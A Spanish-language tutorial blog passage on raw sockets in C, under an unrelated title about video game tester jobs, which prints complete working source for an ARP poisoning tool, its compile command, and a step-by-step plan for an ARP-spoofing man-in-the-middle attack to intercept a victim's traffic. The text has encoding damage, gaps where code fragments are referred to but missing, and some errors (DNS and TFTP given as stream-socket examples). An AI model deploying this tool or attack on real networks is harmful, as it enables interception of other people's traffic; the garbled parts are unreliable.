Tester Jobs Requirements (VIDEO GAME)

Aprovechando que tengo que guardar reposo por un mini accidente laboral (tres puntos... ya s�lo me quedan dos para el perro piloto) y no tengo nada mucho mejor que hacer, he decidido ponerme con algo que llevaba postponiendo un tiempo (permitirme la redundancia) ...salsear un poquito con los  SOCKETS en C y ya de paso escribir una entrada en el blog... que me prodigo �ltimamente bien poco....y no hay que perder las buenas costumbres.

A lo largo de esta serie de entradas intentar� mostrar para qu� podemos utilizar la programaci�n de sockets (sobre todo los RAW)  siempre mirando desde un prisma....digamos que oscuro....

Soy consciente que no es un tema f�cil de tratar, y mucho menos hacer que la lectura sea liviana a la par que amena...

Para seguir estos posts es necesario tener unos conocimientos m�nimos de redes, un poquito de C, as� como disponer de una m�quina linux, puesto que este tost�n est� orientado a sistemas Linux o Unix, como ya es com�n en mis entradas.

No pretendo desanimar a nadie, ya sea por lo de los conocimientos o por tener otro S.O... en ambos casos es facil (mas o menos) seguir las entradas. Es m�s, os animo a ello.

Tambi�n quiero dejar claro que que vamos a abordar el tema desde un punto de vista pr�ctico sin entrar mucho en detalles t�cnicos, si no podr�a ser una entrada eterna y tampoco pretendo explicar el modelo OSI (de lectura muy recomendada), a muchos os aburrir�a, as� que lo veremos de soslayo.

�Por qu� C? la respuesta es sencilla: si aprendes en C te ser� sencillo hacerlo en java, python o C++... Prueba al rev�s X-O. (respuesta de un profesor).

Es verdad que en python ser�a m�s sencillo (utilizando alguno de sus frameworks), imposible en muchos casos con java y m�s o menos parecido en c++; pero desde el punto de vista pedag�gico te pierdes muchos fundamentos valiosos.

Desde mi punto de vista ahora que estoy empezando con C, es simple, elegante y endiabladamente r�pido, compacto y eficiente..y muy Oldschool, sin menospreciar en absoluto a Python (pero hoy toca C). 

�Qu� es un Socket? pues como dice la palabra es un enchufe!!...

Socket designa un concepto abstracto por el cual dos programas (posiblemente situados en computadoras distintas) pueden intercambiar cualquier flujo de datos, generalmente de manera fiable y ordenada.

El t�rmino socket es tambi�n usado como el nombre de una interfaz de programaci�n de aplicaciones (API) para la familia de protocolos de Internet TCP/IP, provista usualmente por el sistema operativo.

Segun esta interfaz tenemos tres grupos de sockets:

Socket de flujo (SOCK_STREAM): Define un servicio orientado a conexi�n confiable y bidireccional. Los datos se env�an sin errores o duplicaci�n y se reciben en el mismo orden de como fueron enviados. Podr�amos compararlo con una llamada de tel�fono.. recibir y mandar la informaci�n en su tiempo y de manera bidireccional es cr�tico para la comprensi�n del mensaje, de esto se encarga TCP...Ej dns, tftp, bootp, etc.

Socket de datagrama (SOCK_DGRAM): Define un servicio no orientado a conexi�n (sobre UDP por ejemplo). Los datagramas se env�an como paquetes independientes. El servicio no proporciona garant�as; los datos se pueden perder o duplicar y los datagramas pueden llegar fuera de orden. Soporta la bidirecionalidad pero no es su fuerte. Simplificando (demasiado) es similar a enviar una carta.

Socket raw (SOCK_RAW): Estos sockets nos permiten el acceso a los protocolos de comunicaciones,con la posibilidad de hacer uso o no de protocolos de capa 3 (nivel de red) y/o 4 (nivel de transporte), y por lo tanto d�ndonos el acceso a los protocolos directamente y a la informaci�n que recibe en ellos. El uso de sockets de este tipo nos va a permitir la implementaci�n de nuevos protocolos, y por que no decirlo, la modificaci�n de los ya existentes. Suena interesante no?.

Con esta verborrea trato de ubicar un poco al lector, pues despu�s de lo dicho nos vamos a centrar en el este �ltimo Socket raw o en crudo este tipo de socket trabaja sin estar ligado a un protocolo de comunicaci�n en concreto, es decir, podemos darle el sabor que necesitemos. Lo veremos m�s a delante.

Peculiaridades de Socket raw (SOCK_RAW)

- No incluye por defecto TCP; esto se traduce en perdida de fiabilidad.

- No tenemos que especificar puerto en la comunicaci�n.....O_o..... ya que es el propio kernel  que recibe el paquete crudo el encargado de pasar la informaci�n de  a todos los sockets que est�n escuchando el mismo protocolo, no hay conexiones de red virtuales como tal, es decir, no hay puertos.

- Los campos del Header los deberemos rellenar manualmente, al contrario que si trabaj�semos con otro tipo de socket; el kernel no rellena las cabeceras.

- Carece de un est�ndar.

- Para usar sockets de tipo raw en Unix es necesario contar con privilegios de root.

- hay dos tipos b�sicos de socket raw, y que la decisi�n de cu�l utilizar depende totalmente del objetivo y requisitos de la aplicaci�n que se desea:

 . Familia AF_PACKET: los sockets raw de la familia AF_PACKET son los de m�s bajo nivel y permiten leer y escribir cabeceras de protocolos de cualquier capa.

 . Familia AF_INET: los sockets raw AF_INET delegan al sistema operativo la construcci�n de las cabeceras de enlace y permiten una manipulaci�n �compartida� de las cabeceras de red.

 En breve veremos en detalle la utilidad y funcionamiento de ambas familias.

- Y alguna m�s que seguro que escapa a mi intelecto (por culpa de alg�n gen recesivo).

�Qu� podemos hacer con raw socket?

Con los sockets SOCK_DGRAM y SOCK_DGRAM s�lo puedes decidir el contenido del PAYLOAD TCP o UDP pero no puedes leer ni escribir nada de lo que hay debajo: cabeceras IP, ICMP, ARP, Ethernet, etc. 

Esto nos permitir� desde diagnoxticar ciertos aspectos de la red que de otro modo ser�a dif�cil, componer Datagramas a muy bajo nivel, y construir nuestras propias herramientas a medida de nuestros caprichos.

En definitiva nos va a hacer conocer mejor los protocolos y su seguridad.

Bueno ya para finalizar esta entrada (si no menuda chappa).. y para abrir boca os voy a dejar un codigo fuente de Victor Ramos Mello (que encontre en su Git, el cual me pareci� bueno como ejemplo) en el que hace uso de raw socket para manejar el protocolo ARP.

No atorarse!! ya lo  examinaremos paso por paso, y  desarrollaremos m�s para conseguir una herramienta MITM en pr�ximas entradas para ir ejercitando la mente.

Simple arp poison:

//arp-poison by m0nad
//tested in Linux 3.5.0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <netinet/if_ether.h>
#include <signal.h>

#define IP4LEN 4
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)

int sock;
void
usage()
{
 puts("usage: ./arp-poison <interface> <gateway ip> <mac addr>");
 puts("ex: ./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
 exit(1);
}

void
cleanup()
{
 close(sock);
 exit(0);
}

int
main(int argc, char ** argv)
{
 char packet[PKTLEN];
 struct ether_header * eth = (struct ether_header *) packet;
 struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
 struct sockaddr_ll device;
 
 if (argc < 4) {
 usage();
 }

 sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
 if (sock < 0)
 perror("socket"), exit(1);

 signal(SIGINT, cleanup);

 sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
 (unsigned int *) &arp->arp_sha[1],
 (unsigned int *) &arp->arp_sha[2],
 (unsigned int *) &arp->arp_sha[3],
 (unsigned int *) &arp->arp_sha[4],
 (unsigned int *) &arp->arp_sha[5]);

 sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
 (int *) &arp->arp_spa[1],
 (int *) &arp->arp_spa[2],
 (int *) &arp->arp_spa[3]);

 memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast
 memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);
 eth->ether_type = htons(ETH_P_ARP);

 arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
 arp->ea_hdr.ar_pro = htons(ETH_P_IP);
 arp->ea_hdr.ar_hln = ETH_ALEN;
 arp->ea_hdr.ar_pln = IP4LEN;
 arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
 memset(arp->arp_tha, 0xff, ETH_ALEN);
 memset(arp->arp_tpa, 0x00, IP4LEN);

 memset(&device, 0, sizeof(device));
 device.sll_ifindex = if_nametoindex(argv[1]);
 device.sll_family = AF_PACKET;
 memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
 device.sll_halen = htons(ETH_ALEN);

 puts("press ctrl+c to exit.");
 while (1) {
 printf("%s: %s is at %s ", argv[1], argv[2], argv[3]);
 sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));
 sleep(2);
 }
 return 0;
}

para compilarlo:
#gcc arp-poison.c -o arp-poison

un saludo! hasta m�s ver...

Para hacer esto c�modamente utilizaremos las Estructuras.

�QU� SON LAS ESTRUCTURAS?

Resumi�ndolo un poco: "Las estructuras son colecciones de variables relacionadas bajo un nombre. Las estructuras pueden contener variables de muchos tipos diferentes de datos a diferencia de los arreglos que contienen �nicamente elementos de un mismo tipo de datos".

Para ver esto mucho mas claro vamos a recurrir a nuestro ejemplo examinando un fragmento donde rellenamos las estructura ya programada que utilizamos de las librer�as incluidas en el c�digo:

En nuestro ejemplo, vamos a mandar una trama ARP por la capa de enlace,
el encargado de esto es el protocolo ETHERNET. Para conseguir esto necesitamos la estructura de los Headers ethernet, y la estructura del  paquete arp.

Aqu� apuntamos como variable eth a la estructura que contiene los headers ethernet en la librer�a <ethernet.h>

 y ahora con:


Le decimos el tipo de paquete que va a ser ADDRESS RESOLUTION PACKET.
que lo hemos sacado de if_ether.h convirti�ndolo con htons (la funci�n htons convierte a u_short del host en orden de bytes de red TCP / IP si fuese necesario):






Aqu� pasamos el tercer par�metro introducido al arrancar el programa(la mac):

A la Estructura ether_arp alojada en <if_ether.h>


Espero que no os est� liando mucho... solo ten�is que quedaros con que las estructuras son una colecci�n de datos, que podemos encontrarlas en las librer�as ya preconcebidas para crear paquetes <netinet.h> y c�mo sacar y meter datos en ellas. ya veremos esto m�s despacio.

�Menuda chapa! vamos a asimilarla con la pr�ctica.

Vamos a dejar por el momento las comederas de cabeza hasta la tercera entrada, y vamos con lo divertido.

Construyendo nuestra primer herramienta

Dije que convertir�amos el c�digo del ejemplo en algo m�s funcional y divertido, vamos hacer una herramienta que nos permita hacer un Man In The Middle.

Si estas leyendo esta entrada supongo que sabras que es un MITM y en que consiste un ataque de falsificaci�n ARP o ARP Spoofing, pero vamos a recordarlo a grandes rasgos.

El principio del ARP Spoofing es enviar mensajes ARP falsos (falsificados o spoofed) a la Ethernet. Normalmente la finalidad es asociar la direcci�n MAC del atacante con la direcci�n IP de otro nodo (el nodo atacado), como por ejemplo la puerta de enlace predeterminada (gateway).

Esta t�cnica de arp spoofing, si se hace de manera bidireccional obtenemos el resultado de un ataque man in the middle.

Es decir el atacante le dice ala red (todos los equipos) o a la v�ctima (ataque dirigido)  que es el gateway . El medio del ataque es el envenenamiento de las tablas ARP de los equipos.

Vamos a establecer el escenario:

Supongamos que se da la siguiente situaci�n:

Queremos poder capturar el tr�fico que manda la v�ctima hacia INet... y lo m�s natural ser�a colocarnos en medio; de ah� lo de MITM...

�C�mo conseguimos esto?: mediante paquetes ARP-Reply, en primer lugar a la v�ctima le decimos que somos el router mand�ndole un ARP-reply y diciendo que a nuestra mac le corresponde la ip del router.
El protocolo ARP, al carecer de mecanismos de autentificacion y si en el equipo no se ha establecido unas tablas ARP fijas, actualizara la la tabla ARP de la victima con la nueva informaci�n...en lo que respeta a el equipo v�ctima somos el router.

El siguiente paso ser� mandar un paquete ARP-reply al router dici�ndole que somos la v�ctima, el protocolo ARP modificar� la tabla Arp del router como hizo con la victima. Podremos interceptar la informaci�n bi-direccionalmente, siempre de manera transparente para la victima siempre y cuando tengamos activado el IP forward en nuestro equipo (echo 1 > /proc/sys/net/ipv4/ip_forward).

Y �c�mo podemos manipular los paquetes ARP? pues chatos: con SOCK_RAW!

Pero esto ser� en la siguiente entrada..

Un saludo

    Manuel